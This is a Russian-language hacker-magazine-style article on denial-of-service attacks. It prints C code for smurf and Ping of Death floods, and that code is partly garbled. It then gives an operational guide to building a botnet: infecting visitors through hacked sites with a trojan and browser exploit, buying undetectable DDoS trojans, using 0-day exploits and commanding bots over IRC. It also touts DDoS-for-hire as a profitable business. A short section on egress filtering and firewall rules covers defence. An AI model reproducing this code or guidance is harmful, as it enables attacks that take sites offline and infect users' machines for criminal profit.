void smurf (int sock, struct sockaddr_in
sin, u_long dest, int psize)
//IP-заголовок
struct iphdr *ip;
//ICMP-заголовок
struct icmphdr *icmp
char *packet;
packet = malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + size-
of(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) +
sizeof(struct icmphdr) + psize);
//Заготовка IP-пакета
ip->tot_len = htons(sizeof(struct iphdr) +
sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, size-
of(struct iphdr));
//Заготовка ICMP-пакета
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short
*)icmp, sizeof(struct icmphdr) + psize);
//Засылаем пакет
sendto(sock, packet, sizeof(struct iphdr) +
sizeof(struct icmphdr) + psize
0, (struct sockaddr *)&sin, sizeof(struct
sockaddr));
free(packet);
}
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ SMURF-АТАКИ--- /*
Ping of Death
Атаку ping of death можно отнести и к флудингу, но я выделил ее (и не тоько я!) в связи стем, что она использует технику, связанную с атакой на уровне ядра.
Ping of Death - вид DoS-атаки (правда, уже староватый), при котором некоторые программы позволяют отправлять пакеты размером больше 65536-байт - максимальный размер пакета, который предусмотрен TCP/IP (хехе TCP/VIP, шутка 8)))). Эти пакеты не могут передаваться по Internet в целом виде, поэтому перед передачей выполняется их фрагментирование. Когда атакуемый хост получает фрагменты пакетов, он восстаноавливает пакет недопустимого размера. Основывается на ICMP-flooding, однако усиливает атаку за счет того, что ping-запросы пересылаются по адресу широковещательной рассылки. Используемый в пакетах запроса адрес - это адрес атакуемого сервера. Получившие такие "посылки смерти" системы отвечают на них и забивают жертву. Это очень серьезный вид атаки, который, правда, требует длительной подготовки. Кстати, переводится "Ping of Death" как "Звон смерти" )
Реализация:
Код:
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ атаки Ping of Death--- /*
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
// . . .
//Готовим ICMP-пакет
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO <<8));
for (offset = 0; offset < 65536; offset +=
(sizeof buf - sizeof *ip))
{
// считаем смещение
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418);
// отправляем пакеты
sendto(s, buf, sizeof buf, 0, (struct sockad-
dr *)&dst, sizeof dst);
// корректируем смещение
if (offset == 0)
{
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ PoD'a--- /*
Как я уже сказал, для DoS-атаки можно использовать и уязвимости в программах. Обычно эти уязвимости - уязвимости типа переполнения буфера. Достаточно всего лишь отослать код, который и выполнит DoS-атаку на сервере Я не буду говорить о многочисленных DoS-дырах в Apache и т.д. А для твоего потрясения приведу уязвимость. Да простят меня www.securitylab.ru, за заимствовании у них этого материлала про баг в winamp'e. Да, найдена DoS и в winAMP'e... Теперь он DoS'AMP ))
===================== ВЗЯТО С www.securitylab.ru=================
Программа: Winamp 5.07
Опасность: Средняя
Наличие эксплоита: Да
Описание:
Уязвимость обнаружена в Winamp. Удаленный атакующий может аварийно завершить работу приложения.
- Уязвимость существует из-за некорректной обработки MP4 тегов в файлах '.mp4' и '.m4a'. Удаленный атакующий может создать специально сформированный файл, изменив содержание MP4 тега и вызвать отказ в обслуживании.
- Удаленный атакующий может также использовать плейлист, который указывает на злонамеренный файл.
- Удаленный атакующий может создать большой лог файл (приблизительно в 1 MB), содержащий произвольные данные с расширением .nsv' или '.nsa'. При открытии такого файла уязвимым приложением будут потреблены все доступные процессорные ресурсы системы.
========http://www.securitylab.ru/50735.html - вот там можно прочитать )) ==========
Если ты захотел изучить DoS от и до, то появляйся на багтраках. Там чуть ли не ежедневно публикуются уязвимости, приводящие к DoS'у. Заходи на тотже seuritylab.ru ))
Я рассказал не о всех DoS-атаках как ты понял. А именно о других видах флудинга
[Защита от DoS-атак]
Грамотной защитой от DoS-атак является:
Хорошо настроенный файрвол (он же брандмауэр)
Постоянно обновляемый софт
И вроде бы все ))
[Вывод]
Итак, мы рассмотрели DoS-атаку, и её реализации. Конечно, можно взломать сервер и выполнить команду rm -rf, удалив все файлы, но сначало же надо полусить root-привелегии. А используя DoS-атаку, можно и не прикосаться к взлому. Обычно для атаки используется мощный канал, дабы повысить уровень "дестроя" от DoS-атак. Также, используй технику IP-спуфинга, чтобы скрыть свой IP-адресс. К сожалению (или счастью???) такие атаки успешно блокируются файрволами, т.к атака проводится с одного компьютера! Но вскре на смену DoS-атаке пришел DDoS.
Я совсем немного поведал тебе о DoS-атаках, надеюсь, что для DDoS ты уже созрел. Банзай!
[[DDoS-атаки]]
Теперь мы перешли к нашей главной цели статьи - DDoS-атаки. Например, кому-то понадобилось, чтобы сайт example.com не работал час/день/и т.д/. Так вот, заказчик стучится тебе в ICQ и говорит о том, что надо остановить работу example.com на 5 часов. Для этого исуществует DDoS. Но если такчка слабая, то можно DoS'ом обойтись...
Что такое DDoS? DDoS (Distributed Denial of Service) - "Распределенная атака в обслуживании", осуществляемая при помощи отпраки пакетов на сервер жертвы с тысячей ПК с использованием техники флудинга. Главная цель атаки - остановить передачу сетевого траффика и обмен данными с web-сайтами, а также блокировать
работу хостов, от имени которых будет действовать хакер.
И чем она отличается от DoS-атаки??? Так вот, в этом то все и отличие:
Мы рассомтрели DoS-атаку, при которой с ОДНОГО компьютера отправлялись XXX-пакеты и сервер удачно валился. А в DDoS-атаке отсылаются не с одного, а с ТЫСЯЧЕЙ и БОЛЕЕ компьтеров XXX-пакеты.
Как это ТЫСЯЧА и БОЛЕЕ, что все хакеры сговорились )) ???? Нет, друг мой, все эти тысяча и более компьтеров должны быть заражены трояном/червем, имеющих поддержку DDoS-атаки. Для реализации DDoS-атаки общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемого компьютера.
Мы рассмотрели DoS-атаку, при помощи которой мы могли повалить сервер. А теперь представь себе, как десятитысяная армия ботов (зараженных машин) просто отсылает, допустим, ICMP-пакеты, используя простую технику ICMP-флудинга. Да от сервера останутся тоько "ножки, да рожки" =)))))))))! Захватывает дух, правда?
А как управлять такой армией? Способов очень много. Самый популярный и, наверное, простой - IRC . Ты отдаешь команду и все компьютеры-зомби, которые в сети исполняют твою команду. Властелин ламеров (в основном), так сказать ))
Технологии взлома сети различны. При достаточном количестве машин, эффективной будет атака любого типа: можно направить ICMP запросы на широковещательный адрес (Smurf атаки), поддельные HTTP запросы, фрагментированные пакеты, или случайный трафик. Цель будет наверняка так сокрушена, что перестанет работать вообще, или как минимум качество ее работы очень сильно упадет. Атака может быть направлена на любое сетевое устройство: маршрутизаторы (эффективно блокирует всю сеть), серверы (Web, mail, DNS), или специфичные компьютеры (firewalls, IDS).
Наибольшая сложность при защите от DDoS состоит в поддельных IP адресах атакующих машин. Эта проблема может быть решена с использованием методики, называемой «исходящая фильтрация» (Egress filtering). Исходящая фильтрация анализирует пакеты, направленные в Интернет на граничном маршрутизаторе, стоящем перед магистральным маршрутизатором. Эти маршрутизаторы должны знать адреса всех устройств, стоящих за ним, поэтому все, что отправлено с других адресов – подделка. Поддельные пакеты должны отбрасываться до их попадания в Интернет или на магистральный маршрутизатор. Если сетевые администраторы установят такую фильтрацию по умолчанию, поддельные пакеты станут почти невозможными, что многократно сократит процесс идентификации в исследовании DDoS. К сожалению, в большинстве сетей эти фильтры отключены, и поддельные пакеты беспрепятственно проходят. IPv6, будущий IP стандарт, также имеет возможности защиты от этой фундаментальной сетевой проблемы.
Распределенные атаки на отказ в обслуживании очень эффективны, и их трудно остановить. Окончательное решение этой проблемы требует от мирового сетевого сообщества неусыпно следовать строгим стандартам безопасности. В настоящий момент лучшей техникой защиты является готовность к такой атаке. Очень важно иметь план реагирования на DDoS инцидент. А использование исходящей фильтрации является хорошим стандартом безопасности, гарантирующим, что машина, находящаяся под вашим контролем, не участвует в таких атаках. Осведомленное компьютерное сообщество может сделать DDoS сегодня пережитком прошлого.
DDoS не использует уязвимости в программах, а лишь использует технику флудинга. Вот собственно и все. Технологии флудинга мы уже с тобой разобрали в разделе с DoS-атаками.
[DDoS на практике]
Как организовать ботнет
Организовать DDoS-атаку на самом деле просто. Самая большая проблема - организация ботнета.
Как организовать ботнет:
1. Купить за огромную сумму (в зависимости от количества ботов)
2. Взять в аренду.
3. Заразить ушастых юзеров.
4. Угнать чужой ботнет
Как заразить огромное количество ушастых юзеров:
Существует много методов распространения этой инфекции. Примеры:
1. Взлом хостинга:
Получить хоть какие-нибудь привелении на запись
Сделать масс-дефейсинг, благодаря которым в код главной стараницы внедряется наш код, использующий троян + эксплойт (допустим, для IE)
При заходе на главную страницу с браузера IE троян внедряется в систему, ожидай комманд DDoS'ера из IRC-канала...
2. Взлом сайта с хорошей посещаемостью.
Вставка на главную страницу вредоносного кода ))
3. Написание червя, с использование 0-day эксплойта, приводящего к root'у. Это отдельная тема.
Но перед тем как организовать ботнет, надо выбрать, чем заражать.
Вирусы
Самый наилучший спопосб, наверное, это написание червя. Писать червя надо очень грамотно. И это довольно таки непросто. Но вспомнив ужаснейшую атаку при помощи легендарного червя MyDoom - атакующего 22 августа 2003 года сайт компании SCO. Подробнее в самом конце есть вырезка из статьи Forb'a (журнал Хакер). Если написать успешного червя, да и приложить к его распространению 0-day эксплойт (приватный, так сказать), то с таким же успехом можно повалить и microsoft.com. Главное - огранизовать огромнейший ботнет.
Конечно, червя можно и купить, а также заказать у VX-maker'ов, но это будет стоить немало...
Трояны
Надеюсь, объяснять, что такое троян и чем он отличается от червя не надо. Начнем.
Хочу тебя разочаровать, что в паблике ты ничего не найдешь. Все эти трояны давно занесены в "Красную книгу" Касперского и других антивирусов. Так, что есть два выходу:
1. Купить DDoS-троян.
Не спеши к VX-мэйкерам и хакерам раскупать у них трояны. Ты должен сначало спросить про возможности, на чем написан, какой вес (размер трояна - это очень важно, ведь троян должен быть мелким и юрким), палится ли он файрволом, какие команды умеет, где прописывается, видно ли его в процессах и т.д. Если троян не палится файрволом и антивирусом, да еще имеет маленький размер - то это отличный троян. Обязательно покупай троян вместе с исходняками, чтобы его можно было подредактировать и самому.
2. Написание DDoS-трояна.
Если ты уже давно кодишь и можешь писать приложения для интерета )))), то можешь начинать. Не ищи в паблике статью "Как написать троян", дабы накодить программу техникой Cut & Paste )), там ты можешь найти только небольшой ответ, а дальше уж сам по себе. Если возникают вопросы по написанию, то попроси о помощи (только без вопросов типа "А как написать троян", а какие нибудь более разумные, вроде "Как сделать перехват API" и тут тебе дадут ссылку
0-day эксплойты
Лучше всего при распространении использовать 0-day эксплойт - приватный эксплойт, который нельзя нигде достать в публичных источниках. Если выбирать для трояна - то это, безусловно, эксплойт для Internet Explorer. Для червя это серьезная уязвимость, приводящая к root'у, как, например, баг в RPC-DCOM (его вроде как использовал MyDoom).
Есть два выбора:
1. Искать баг самому.
2. Купить его у каких-нибудь хакерюг.
Ну что. Дрпустим, ты собрал ботнет из 20 000 ботов. Ты занешь все его команды и как управлять, ведь написал его ты (узнал все при покупке). Теперь ты заходишь в IRC. Отдаешь команду и все.
Что еще прочитать
Как ты понял, здесь все просто. Главные проблемы мы с тобой рассмотрели. Очень хорошую статью (там все разжевано) по DDoS-атаке на практике ты можешь прочесть в журнале "ХАКЕР" выпуск #70, октябрь 2004 года, называется она "DDoS в картинках". Зайди на самом xakep.ru > раздел журналы > 2004 > Октябрь. Там есть PDF'ка (много весит, это целый журнал) и HTML-версия.
[Защита]
Юные исследователи
Если вы заметили огромное увелечение трффика, но надо начать исследование перехваченных пакетов. Это очень важно для следующего пункта
Надежда умерает последней - Фильтрация
Исследование перехваченных пакетов иногда дает хорошую возможность снизить ущерб от DDoS-атаки, дабы с помощтю исследования можно создать списки контроля доступа маршрутизатора или правила файрвола - ACL.
Если огромный трафик исходит от определенного провайдера или маршрутизатора (магистрального), то можно заблокировать весь трафик от этого источника, узнав его, это позволит пройти части легитимного трафика
Наибольшая сложность при защите от DDoS состоит в поддельных IP адресах атакующих машин. Эта проблема может быть решена с использованием методики, называемой «исходящая фильтрация» (Egress filtering). Исходящая фильтрация анализирует пакеты, направленные в Интернет на граничном маршрутизаторе, стоящем перед магистральным маршрутизатором. Эти маршрутизаторы должны знать адреса всех устройств, стоящих за ним, поэтому все, что отправлено с других адресов – подделка. Поддельные пакеты должны отбрасываться до их попадания в Интернет или на магистральный маршрутизатор. Если сетевые администраторы установят такую фильтрацию по умолчанию, поддельные пакеты станут почти невозможными, что многократно сократит процесс идентификации в исследовании DDoS. К сожалению, в большинстве сетей эти фильтры отключены, и поддельные пакеты беспрепятственно проходят. IPv6, будущий IP стандарт, также имеет возможности защиты от этой фундаментальной сетевой проблемы.
Оборудование
Этот пункт говорит о том, что нужна установка специального оборудования и увеличения пропускной способности во время атаки и ожидание ее прекращения.
Ваш провайдер
Есть еще надежда на провайдера. Если Ваш провайдер не деревенщина, то у него помогут быть специальные сенсоры, с помощью которых он иожет определить резкое возростание траффика в XXX-точке. Таким образом он обязан помочь Вам в этой проблеме )))
Заключение
DDoS-атака чаще всего прекращается из-за атакующего, которому уже /надоело/не надо флудить/ вашу систмему, а не из-зи грамотоного админа. Наж этим стоит задуматься )
[Вывод]
DDoS - это огромная ппроблема на сегодняшний день в мире информационной безопасности. Для этих атак нет серверов, которые бы не ушли в "даун". Единственный выход - готовность к атаке, которая и не особо помагает. Кстати, атаки могут производиться не только с помощью ботов, также можно произвести и со взломанных роутеров или инфецированных *nix-машин. Их удачно можно использовать для генерации XXX-пакетов... Все. Удачи тебе в DDoS'е!
[Самые мощные DoS/DDoS-атаки]
=====Примечание: "Самые мощные DDoS/DoS-атаки" Журнал "Хакер". URL: www.xakep.ru===========
Теперь ты знаешь, что собой представляет атака на отказ в обслуживании. Пришло время составить небольшой хит-парад DoS/DDoS-атак.
1) Пожалуй, самой нашумевшей атакой из разряда DoS стала атака на корневые DNS-сервера, произошедшая в ноябре 2002 года. Тогда распределенной атаке подверглись все 13 DNS-серверов, семь из которых вышли из строя. Только высокий уровень избыточности в структуре интернета позволил избежать задержек при обращении к ресурсам.
2) Атака на сайт SCO, совершенная при помощи вируса MyDoom и всех его подцепивших. 22 августа 2003 года сайт компании SCO перестал отвечать на запросы пользователей. Атака продолжалась несколько дней и прекратилась только 25 августа. Поскольку вирус MyDoom имел очень широкое распространение, то атака получилась мощнейшей. Вторая редакция вируса MyDoom.B, созданная для атаки на сайт Microsoft, не имела такого "успеха" у пользователей.
3) Серверы Osirusoft крупнейшего хранилища IP-адресов, замеченных в спаме, были отключены после большого количества распределенных атак на отказ в обслуживании. Данная служба занималась ведением динамического списка IP-адресов, замеченных в спаме. (Хехе! Бойтесь спамеров! Спамеры уже и флудеры )) - прим. 1nf3ct0r'a)
===================== ВЗЯТО ИЗ ЖУРНАЛА "ХАКЕР". www.xakep.ru =======================
.
[Заработок на DDoS-атаках]
DDoS-атаки - это очень прибыльное дело. Минимальная плата за DDoS-атаку в час - 40$-50$. И при том, что сервер не "крутой", который валить.
Представь. Стучатся в ICQ. Просят DDoS на час. Ты спокойно заходишь в IRC, отдаешь команду и пьешь пиво/кофе. Через час к тебе приходят деньги... Вот так вот.
На сегодняшний день в интернете немного (даже мало) конторок по организации DDoS'a, так, что тебе ничто не мешает организовать DDoS-бизнесс )).
[The End]
Ну вот я и рассказал тебе о DoS/DDoS атаках. Надеюсь тебе было интересно. Ну всё. Удачного флуда и защиты от него!
P.S: При написании статьи использовались материалы: материалы с SecurityLab.ru, материалы из журнала "Хакер" и также "СпецХакер"